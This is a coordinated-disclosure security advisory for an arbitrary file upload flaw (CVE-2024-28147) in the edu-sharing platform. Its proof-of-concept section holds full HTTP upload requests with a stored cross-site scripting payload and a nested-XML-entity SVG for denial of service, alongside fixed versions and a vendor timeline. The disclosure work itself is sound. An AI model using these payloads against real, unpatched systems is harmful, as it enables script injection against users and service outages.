SEC Consult Vulnerability Lab Security Advisory < 20240620-0 > ======================================================================= title: Arbitrary File Upload product: edu-sharing (metaVentis GmbH) vulnerable versions: <8.0.8-RC2, <8.1.4-RC0, <9.0.0-RC19 fixed versions: >=8.0.8-RC2, >=8.1.4-RC0, >=9.0.0-RC19 CVE number: CVE-2024-28147 impact: high homepage: https://edu-sharing.com found: 2024-04-04 by: Kai Zimmermann (Office Frankfurt) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "edu-sharing software enables you to network your learning platforms and other educational software. Share learning content, metadata and tools - make them available in an educational cloud and let your users use them in all connected systems." Source: https://edu-sharing.com Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Arbitrary File Upload (CVE-2024-28147) An authenticated user can upload arbitrary files in the upload function for collection preview images. An attacker may upload an HTML file that includes malicious JavaScript code which will be executed if a user visits the direct URL of the collection preview image (Stored Cross Site Scripting). It is also possible to upload SVG files that include nested XML entities. Those are parsed when a user visits the direct URL of the collection preview image, which may be utilized for a Denial of Service attack. Proof of concept: ----------------- 1) Arbitrary File Upload (CVE-2024-28147) An authenticated user can update the preview image of an existing collection by sending the following request: -------------------------------------------------------------------------------- POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fpng HTTP/1.1 Host: $SERVER Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885 Content-Length: 288 -----------------------------159605426213527963452762824885 Content-Disposition: form-data; name="file"; PNG [...] -----------------------------159605426213527963452762824885-- -------------------------------------------------------------------------------- The URL parameter "mimetype" can be modified to match any uploaded file. The value is directly used in the server's "Content-Type" header. Both, the Content-Type request header and the filename parameter in the Content-Disposition request header do not need to be included in the data boundary inside the request in order to be sent successfully and can therefore be removed. The preview image can then be accessed by visiting the following URL: https://$SERVER/edu-sharing/preview?nodeId=$COLLECTIONID a. Stored Cross Site Scripting (HTML Upload) The initial request can be modified to include an HTML file, while keeping the magic bytes of a PNG image file. The "mimetype" parameter is changed to "text/html": -------------------------------------------------------------------------------- POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=text/html HTTP/1.1 Host: $SERVER Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885 Content-Length: 288 -----------------------------159605426213527963452762824885 Content-Disposition: form-data; name="file"; PNG <!DOCTYPE html> <html> <body> <h1>Test</h1> <script>alert(window.location)</script> </body> </html> -----------------------------159605426213527963452762824885-- -------------------------------------------------------------------------------- Visiting the preview URL as seen in figure 1 below shows that the JavaScript code is executed: [01_stored_xss.png] b. Denial of Service (SVG Upload) The initial request can be modified to upload an SVG file containing nested XML entities. The "mimetype" parameter is changed to "image%2Fsvg": -------------------------------------------------------------------------------- POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fsvg HTTP/1.1 Host: $SERVER Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID Content-Type: multipart/form-data; boundary=---------------------------29539943986372261721095197803 Content-Length: 581 -----------------------------29539943986372261721095197803 Content-Disposition: form-data; name="file"; <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY bar "Text "><!ENTITY t1 "&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;"><!ENTITY t2 "&t1;&t1;&t1;&t1;">]> <svg xmlns="http://www.w3.org/2000/svg"> <data>&t2;</data> </svg> -----------------------------29539943986372261721095197803-- -------------------------------------------------------------------------------- Visiting the preview URL as seen in figure 2 below shows that the XML code is parsed: [02_denial_of_service] Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * 9.0 (pre-release) The vendor confirmed that previous versions (8.0 and 8.1) are affected as well. Vendor contact timeline: ------------------------ 2024-04-10: Contacting vendor through [email protected] 2024-04-11: Vendor replied and confirmed security contact. Advisory information has been sent to vendor. 2024-04-12: Vendor confirmed receiving the advisory and is now trying to reproduce the described behavior. 2024-05-03: Reminder sent to [email protected], asking for an update on fixing the vulnerability. 2024-05-07: Vendor provides affected versions. Fixes have already been implemented and published. Vendor is requesting to wait with the public advisory release in order to allow affected customers to perform the next rollout. 2024-05-07: Vendor provides fixed versions. Public advisory release scheduled for 2024-06-04. 2024-05-15: Public advisory release postponed to 2024-06-20. 2024-06-20: Coordinated release of advisory. Solution: --------- The repository base version in use can be identified in the Admin-Tools. The vendor provides a patch for the affected versions: * Version 8.0: Update repository version to "8.0.8-RC2" or later * Version 8.1: Update repository version to "8.1.4-RC0" or later * Version 9.0: Update repository version to "9.0.0-RC19" or later Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Kai Zimmermann / 2024
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